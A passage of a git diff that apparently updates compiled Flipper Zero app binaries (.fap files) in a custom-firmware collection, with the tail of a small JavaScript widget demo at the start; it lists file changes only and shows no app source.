(bitmap) { widget.remove(bitmap); bitmap = undefined; } + // All of the addXXX functions return an id that can be used to remove the item. + else { bitmap = widget.addXbm(77, 45, logo); } + + delay(1000); +} + +// If user did not press the back button, close the widget. +if (widget.isOpen()) { + widget.close(); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/about.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/about.fap index 1d29e1d6..8a61b656 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/about.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/about.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/bt_settings.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/bt_settings.fap index 11a48368..82465b7a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/bt_settings.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/bt_settings.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/cfw.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/cfw.fap index f31c1c26..cab1569d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/cfw.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/cfw.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/desktop_settings.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/desktop_settings.fap index 29b9ee10..3044eb10 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/desktop_settings.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/desktop_settings.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/dolphin_trainer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/dolphin_trainer.fap index 71ab3a64..06cf529b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/dolphin_trainer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/dolphin_trainer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/expansion_settings.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/expansion_settings.fap index 94e3dd4a..9871bf4b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/expansion_settings.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/expansion_settings.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/extendrange.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/extendrange.fap index 72a2e85c..f6cb5b97 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/extendrange.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/extendrange.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/namechanger.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/namechanger.fap index 4502ad56..3dfe9e5d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/namechanger.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/namechanger.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/notification_settings.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/notification_settings.fap index febb3e61..c73038e7 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/notification_settings.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/notification_settings.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/passport.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/passport.fap index fd4d1638..283754c5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/passport.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/passport.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/power_settings.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/power_settings.fap index a1e3c635..da8cd0a0 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/power_settings.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/power_settings.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/smack_my_dolphin_up.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/smack_my_dolphin_up.fap index 4234e28c..7320a57e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/smack_my_dolphin_up.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/smack_my_dolphin_up.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/storage_settings.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/storage_settings.fap index 391be807..f0d933c2 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/storage_settings.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/storage_settings.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/system_settings.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/system_settings.fap index f39b99fb..c8fe7913 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/system_settings.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/system_settings.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/enhanced_subghz_chat.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/enhanced_subghz_chat.fap index 3c988ccb..4af2e1f7 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/enhanced_subghz_chat.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/enhanced_subghz_chat.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/genie_record_v3.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/genie_record_v3.fap index 45549b9f..82633dfd 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/genie_record_v3.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/genie_record_v3.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/meal_pager.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/meal_pager.fap index be346a03..508cdad5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/meal_pager.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/meal_pager.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/pocsag_pager.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/pocsag_pager.fap index 04eff19e..c656e7a9 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/pocsag_pager.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/pocsag_pager.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/protoview.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/protoview.fap index 45c3cfd0..628242ae 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/protoview.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/protoview.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/rolling_flaws.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/rolling_flaws.fap index 5b9a69d2..98900e9c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/rolling_flaws.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/rolling_flaws.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/shapshup.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/shapshup.fap index b6826807..1c63c21d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/shapshup.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/shapshup.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/spectrum_analyzer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/spectrum_analyzer.fap index 12ef519f..1eb62272 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/spectrum_analyzer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/spectrum_analyzer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap index b9407e86..72a71015 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_fap.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_fap.fap index dbeef5ec..32a48062 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_fap.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_fap.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_playlist.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_playlist.fap index c7a9b6d0..fff9205a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_playlist.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_playlist.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap index 6720ec55..c8738658 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_test.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_test.fap index 1fd324d0..221e93b6 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_test.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_test.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/tpms.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/tpms.fap index b8b22b47..8c228d83 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/tpms.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/tpms.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/weather_station.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/weather_station.fap index 3323e325..0bae5332 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/weather_station.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/weather_station.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/analog_clock.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/analog_clock.fap index 81607b4d..30f7361a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/analog_clock.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/analog_clock.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/barcode_app.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/barcode_app.fap index b8e66739..0a098565 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/barcode_app.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/barcode_app.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/bgloader.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/bgloader.fap index 7d7c947a..91085ae2 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/bgloader.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/bgloader.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/blackjack_counter.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/blackjack_counter.fap index 8ae67b14..59a95190 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/blackjack_counter.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/blackjack_counter.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/brainfuck.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/brainfuck.fap index 96c12f38..193217ff 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/brainfuck.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/brainfuck.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/c_book.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/c_book.fap index 583ae11f..3211c96d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/c_book.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/c_book.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/caesar_cipher.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/caesar_cipher.fap index dae96d47..a18f9a9b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/caesar_cipher.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/caesar_cipher.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calculator.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calculator.fap index 7c423b27..336ad5f1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calculator.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calculator.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calendar.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calendar.fap index 6c21b3f9..8e212448 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calendar.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calendar.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/chronometer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/chronometer.fap index 16551738..953d25ef 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/chronometer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/chronometer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/cli_gui.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/cli_gui.fap index c1564d20..d77b83fb 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/cli_gui.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/cli_gui.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/clockv1.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/clockv1.fap index 8a2939c3..9110f9f7 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/clockv1.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/clockv1.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/count_down_timer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/count_down_timer.fap index 3003bc51..70ff4dee 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/count_down_timer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/count_down_timer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/counter.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/counter.fap index 39bb291f..0be5cba4 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/counter.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/counter.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/crypto_dict.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/crypto_dict.fap index a104b92f..88843727 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/crypto_dict.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/crypto_dict.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/device_info.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/device_info.fap index babeef41..741f63ce 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/device_info.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/device_info.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/dtmf_dolphin.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/dtmf_dolphin.fap index 81de1bf4..d4081d96 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/dtmf_dolphin.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/dtmf_dolphin.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/extra_demo.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/extra_demo.fap index 6ec8faa7..daa0cb0e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/extra_demo.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/extra_demo.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/f0forth.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/f0forth.fap index 074d119b..32f6aa5f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/f0forth.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/f0forth.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/fap_boilerplate.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/fap_boilerplate.fap index e2c68640..7147c202 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/fap_boilerplate.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/fap_boilerplate.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/financial_calc.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/financial_calc.fap index f95e15fc..04b97587 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/financial_calc.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/financial_calc.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipagotchi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipagotchi.fap index c9fc0a0e..6aba269d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipagotchi.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipagotchi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipbip.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipbip.fap index 47292377..d7388607 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipbip.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipbip.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipper_aid.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipper_aid.fap index f63d1377..398f0d66 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipper_aid.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipper_aid.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipperdoc.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipperdoc.fap new file mode 100644 index 00000000..0cca7c5c Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipperdoc.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipperzero_clock.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipperzero_clock.fap new file mode 100644 index 00000000..03a4716b Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipperzero_clock.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_editor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_editor.fap index e76b9f8b..7ee941da 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_editor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_editor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_viewer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_viewer.fap index b906d5c3..0fe0e1de 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_viewer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_viewer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/id_card.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/id_card.fap index 3eb2c66b..f9242a94 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/id_card.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/id_card.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/led_pulsator.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/led_pulsator.fap index 3548febd..4f5e468d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/led_pulsator.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/led_pulsator.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/multi_converter.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/multi_converter.fap index 00abce9e..94821eb8 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/multi_converter.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/multi_converter.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/nightstandclock.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/nightstandclock.fap index ebd89073..b956663d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/nightstandclock.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/nightstandclock.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/notes.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/notes.fap index b86cad0e..dbdc91e9 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/notes.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/notes.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/orgasmotron.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/orgasmotron.fap index df1d9d84..b646a415 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/orgasmotron.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/orgasmotron.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/password_generator.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/password_generator.fap index 7afdc850..5180691b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/password_generator.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/password_generator.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pet_a_dolphin.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pet_a_dolphin.fap index 543b53a5..93a1cd6d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pet_a_dolphin.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pet_a_dolphin.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro2.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro2.fap index d88b18e8..61bc47f0 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro2.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro2.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro_timer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro_timer.fap index 510b386a..a74619a1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro_timer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro_timer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/programmercalc.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/programmercalc.fap index 1d11a104..332a435a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/programmercalc.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/programmercalc.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/qrcode.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/qrcode.fap index 37bfd887..152163e1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/qrcode.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/qrcode.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/quac.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/quac.fap index 7a3b68c1..ca272dde 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/quac.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/quac.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/resistance_calculator.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/resistance_calculator.fap index d460484b..341ed77b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/resistance_calculator.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/resistance_calculator.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/skeleton_app.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/skeleton_app.fap index bdfd32c3..056e230b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/skeleton_app.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/skeleton_app.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/techart_calendar.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/techart_calendar.fap index 60244135..68c0f9e8 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/techart_calendar.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/techart_calendar.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/text_viewer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/text_viewer.fap index ae931227..b5217af5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/text_viewer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/text_viewer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/tone_gen.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/tone_gen.fap index 16c1f7f8..6f11e339 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/tone_gen.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/tone_gen.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/totp.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/totp.fap index 0e0ced19..f904132c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/totp.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/totp.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/voltcalc_app.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/voltcalc_app.fap index f07c29d6..66f5f6ea 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/voltcalc_app.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/voltcalc_app.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_kb.fap b/Applications/Custom (UL, RM, 